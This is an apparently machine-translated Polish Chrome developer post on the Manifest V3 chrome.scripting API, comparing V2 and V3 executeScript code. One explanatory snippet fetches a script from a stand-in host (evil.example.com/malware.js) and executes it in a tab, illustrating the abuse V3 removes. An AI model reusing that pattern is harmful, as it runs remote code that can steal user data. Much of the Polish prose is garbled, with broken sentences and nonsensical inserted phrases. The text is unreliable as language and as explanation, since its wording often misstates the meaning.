Przedstawiamy chrome.scripting

Manifest V3 wprowadza szereg zmian na platformie rozszerzeń do Chrome. W tym poście Zajmiemy się motywacjami i zmianami, które wynika z jednej z ważniejszych zmian: wprowadzenie interfejsu API chrome.scripting.

Co to jest chrome.scripting?

Jak sama nazwa wskazuje, chrome.scripting to nowa przestrzeń nazw wprowadzona na platformie Manifest V3 odpowiada za możliwość wstrzykiwania stylów.

Deweloperzy, którzy utworzyli rozszerzenia do Chrome w przeszłości, mogą znać metody platformy Manifest V2 w interfejsie Tabs API, takim jak chrome.tabs.executeScript czy chrome.tabs.insertCSS Te metody umożliwiają rozszerzeniom wstrzykiwanie skryptów i arkusze stylów na strony. W platformie Manifest V3 te możliwości zostały przeniesione do chrome.scripting. W przyszłości planujemy dodać do tego interfejsu API nowe funkcje.

Po co tworzyć nowy interfejs API?

Po takich zmianach jednym z pierwszych pytań, które pojawiają się po wprowadzeniu tej zmiany, jest „dlaczego?”.

Kilka różnych czynników skłoniło zespół Chrome do wprowadzenia nowej przestrzeni nazw dla skryptów. Po pierwsze, interfejs Tabs API pełni rolę szuflady śmieci dotyczącej funkcji. Po drugie, musieliśmy zadbać o to, zmiany w obecnym interfejsie executeScript API. Po trzecie, wiedzieliśmy, że chcemy rozszerzyć tworzenie skryptów możliwości rozszerzeń. Wraz z tymi obawami wyraźnie podkreślono potrzebę utworzenia nowej przestrzeni nazw skryptach autoreklamy.

Szuflada śmieci

Jednym z problemów, z którym zespół ds. rozszerzeń od kilku lat zmaga się zespół ds. rozszerzeń, Interfejs chrome.tabs API jest przeciążony. W chwili wprowadzenia tego interfejsu API większość jego funkcji były powiązane z ogólną koncepcją karty przeglądarki. Jednak nawet wtedy był to w pakiecie funkcji, a z upływem lat ta kolekcja ciągle się powiększa.

Przed udostępnieniem platformy Manifest V3 interfejs Tabs API został rozszerzony i obejmował podstawowe funkcje zarządzania kartami zarządzanie wyborem, porządkowanie okien, przesyłanie wiadomości, sterowanie powiększeniem, podstawowa nawigacja, skrypty o kilka innych mniejszych funkcji. Choć to wszystko jest ważne, może to być przytłaczające, dla początkujących użytkowników, a także dla zespołu Chrome, bo dbamy o to, aby platforma rozpatrujemy prośby społeczności deweloperów.

Kolejnym komplikacją jest to, że nie są dobrze znane uprawnienia tabs. Wiele innych uprawnienia ograniczają dostęp do danego interfejsu API (np. storage), są one ograniczone jest nietypowe, ponieważ przyznaje rozszerzeniu dostęp tylko do poufnych właściwości w wystąpieniach kart (oraz wpływa też na interfejs API systemu Windows). Wielu programistów rozszerzeń błędnie uważa, że potrzebują tego uprawnienia, aby uzyskać dostęp do metod w interfejsie Tabs API, takich jak chrome.tabs.create, lub także w języku niemieckim, chrome.tabs.executeScript. Przeniesienie funkcji z interfejsu Tabs API pomaga wyczyścić dane z tego niejasności.

Zmiany powodujące niezgodność

Podczas projektowania platformy Manifest V3 chcieliśmy rozwiązać problemy związane z nadużyciami i złośliwym oprogramowaniem. włączone przez „kod hostowany zdalnie” – kod, który jest wykonywany, ale nie znajduje się w rozszerzeniu pakietu SDK. Często autorzy rozszerzeń naruszających zasady wykonują skrypty pobierane z serwerów zdalnych do kradzież danych użytkowników, wstrzykiwanie złośliwego oprogramowania i unikanie wykrycia. Z tej możliwości korzystają też dobrzy aktorzy, a potem po prostu stwierdził, że to zbyt niebezpieczne, by pozostać bez zmian.

Rozszerzenia mogą uruchamiać niepogrupowany kod na kilka różnych sposobów. Trzeba tylko wybrać ten, który oto metoda chrome.tabs.executeScript na platformie Manifest V2. Ta metoda pozwala rozszerzeniu na i uruchomieniu dowolnego ciągu kodu na karcie docelowej. To z kolei oznacza, że deweloper, może pobrać dowolny skrypt ze zdalnego serwera i uruchomić go na dowolnej stronie, którą rozszerzenie może dostęp. Wiedzieliśmy, że aby rozwiązać problem z kodem zdalnym, musielibyśmy pozbyć się funkcji.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

Chcieliśmy też usunąć inne, bardziej subtelne problemy z projektem wersji na platformie Manifest V2. że interfejs API staje się bardziej dopracowanym i przewidywalnym narzędziem.

Choć podpis tej metody można było zmienić w interfejsie Tabs API, czuliśmy, że między tych kluczowych zmian i wprowadzenia nowych możliwości (omówionych w następnej sekcji), czysta przerwa będzie łatwiejsza dla wszystkich.

Rozszerzenie możliwości tworzenia skryptów

Kolejną kwestią, która wpłynęła na proces projektowania platformy Manifest V3, była chęć wprowadzenia dodatkowych możliwości obsługi skryptów na platformie rozszerzeń do Chrome. Chcieliśmy dodać obsługę skryptów treści dynamicznych i rozszerzenie możliwości metody executeScript.

Obsługa skryptów treści dynamicznych jest przedmiotem prośby o dodanie funkcji w Chromium. Dzisiaj, Rozszerzenia Chrome w wersji 2 i 3 mogą tylko statycznie deklarować skrypty treści manifest.json plik; platforma nie umożliwia rejestracji nowych skryptów treści, lub wyrejestrować skrypty treści w czasie działania.

Wiedzieliśmy, że chcemy uwzględnić tę prośbę o dodanie funkcji na platformie Manifest V3, ale żadne z naszych istniejących Interfejsy API wydają się idealnym rozwiązaniem. Postanowiliśmy również dostosować do przeglądarki Firefox skrypty treści API, ale bardzo wcześnie dostrzegliśmy kilka poważnych wad tego podejścia. Po pierwsze wiedzieliśmy, że będziemy mieć niezgodne podpisy (np. wycofamy obsługę code ). Po drugie, nasz interfejs API nosił inne ograniczenia projektowe (np. konieczność rejestracji pozostają poza okresem działania mechanizmu Service Worker). Wreszcie przestrzeń nazw pozwoliłaby nam wprowadzić skryptu dotyczącego treści, w którym chodzi o tworzenie skryptów w rozszerzeniach.

W executeScript chcieliśmy także rozszerzyć możliwości interfejsu API, wykraczając poza funkcje Tabs. Obsługiwana wersja interfejsu API. Mówiąc bardziej szczegółowo, chcieliśmy jeszcze łatwiej obsługiwać funkcje i argumenty. są kierowane na określone klatki i inne niż „karta”; kontekstach.

W przyszłości zastanawiamy się też, jak rozszerzenia mogą wchodzić w interakcje z zainstalowanymi aplikacjami PWA oraz innymi kontekstów, które nie są koncepcyjnie mapowane na „karty”.

Zmiany między skryptami tab.executeScript i scripting.executeScript

W dalszej części tego posta chcę się przyjrzeć podobieństwu i różnicom między tymi platformami. od chrome.tabs.executeScript do chrome.scripting.executeScript

Wstrzykiwanie funkcji z argumentami

Biorąc pod uwagę konieczność rozwoju platformy w świetle kodu hostowanego zdalnie Chcieliśmy znaleźć równowagę między nieprzetworzoną mocą dowolnego wykonywania kodu ze skryptami treści statycznych. Wykorzystaliśmy rozwiązanie, aby umożliwić rozszerzeniom wstrzykiwanie jako skryptu treści i przekazywać tablicę wartości jako argumenty.

Spójrzmy na (zbyt uproszczony) przykład. Powiedzmy, że chcemy wstawić skrypt, powitał użytkownika po imieniu, gdy kliknie przycisk polecenia rozszerzenia (ikona na pasku narzędzi). Na platformie Manifest V2 moglibyśmy dynamicznie utworzyć ciąg kodu i wykonać ten skrypt w bieżącym stronę.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Chociaż rozszerzenia na platformie Manifest V3 nie mogą używać kodu spoza pakietu z rozszerzeniem, naszym celem było zachować dynamikę, jaką zapewnia arbitralne bloki kodu włączone w rozszerzeniach na platformie Manifest V2. pozwala recenzentom Chrome Web Store, użytkownikom i innym zainteresowanym stronom w celu dokładniejszej oceny ryzyka, jakie stwarza to rozszerzenie, oraz umożliwieniu na modyfikowanie działania rozszerzenia w czasie działania w zależności od ustawień użytkownika lub stanu aplikacji.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Ramki kierowania

Chcieliśmy też poprawić sposób, w jaki programiści korzystają z ramek w zmienionym interfejsie API. Manifest V2 executeScript umożliwia programistom kierowanie reklam na wszystkie klatki na karcie lub na określoną na karcie. Za pomocą funkcji chrome.webNavigation.getAllFrames możesz uzyskać listę wszystkich klatek w: kartę.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

W pliku manifestu w wersji 3 zastąpiliśmy opcjonalną właściwość liczby całkowitej frameId w obiekcie options opcjonalna tablica frameIds liczb całkowitych; pozwala to programistom kierować na wiele klatek w jednej Wywołanie interfejsu API.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Wyniki wstrzykiwania skryptu

Poprawiliśmy też sposób zwracania wyników wstrzykiwania skryptów na platformie Manifest V3. „Wynik” to czyli końcowej wartości ocenianej w skrypcie. Potraktuj to jako wartość zwracaną, wywołaj eval() lub wykonaj blok kodu w konsoli Narzędzi deweloperskich Chrome, ale zserializowany w celu i przekazywać wyniki pomiędzy procesami.

W pliku manifestu w wersji 2 funkcje executeScript i insertCSS zwróciły tablicę prostych wyników wykonania. Jest to odpowiednie, jeśli masz tylko jeden punkt wstrzykiwania, ale kolejność wyników nie jest gwarantowana wstrzykiwania do wielu ramek, więc nie można stwierdzić, który wynik jest z nim powiązany. ramki.

Aby uzyskać konkretny przykład, spójrzmy resultstablicom zwracanym przez platformę Manifest V2 i atrybut Wersja tego samego rozszerzenia na platformie Manifest V3. Obie wersje rozszerzenia wstrzykną taki sam skrypt treści i porównamy wyniki na tej samej stronie demonstracyjnej.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Po uruchomieniu wersji platformy Manifest V2 zwracamy tablicę o wartości [1, 0, 5]. Który wynik pasuje do ramki głównej, a która dotyczy elementu iframe? Zwracana wartość nie informuje nas o tym, więc nie wiemy na pewno.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

W wersji Manifest V3 obiekt results zawiera teraz tablicę obiektów wynikowych zamiast tablicy tylko wyniki oceny, a obiekty wynikowe wyraźnie określają identyfikator ramki dla każdej wynik. Ułatwia to deweloperom korzystanie z wyników i podjęcie działań w związku z określonym ramki.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Podsumowanie

Nagłe wzrosty wersji pliku manifestu stanowią rzadką okazję do przemyślenia i modernizacji interfejsów API rozszerzeń. Nasz cel platformy Manifest V3 ma zwiększyć wygodę użytkowników przez zwiększenie bezpieczeństwa rozszerzeń, a jednocześnie i poprawiać wrażenia programistów. Dzięki wprowadzeniu chrome.scripting w platformie Manifest V3 mogliśmy aby pomóc w usprawnieniu interfejsu Tabs API i udoskonaleniu executeScript pod kątem bezpieczniejszej platformy rozszerzeń, oraz przygotować podstawy do tworzenia nowych skryptów, które pojawią się w tym roku.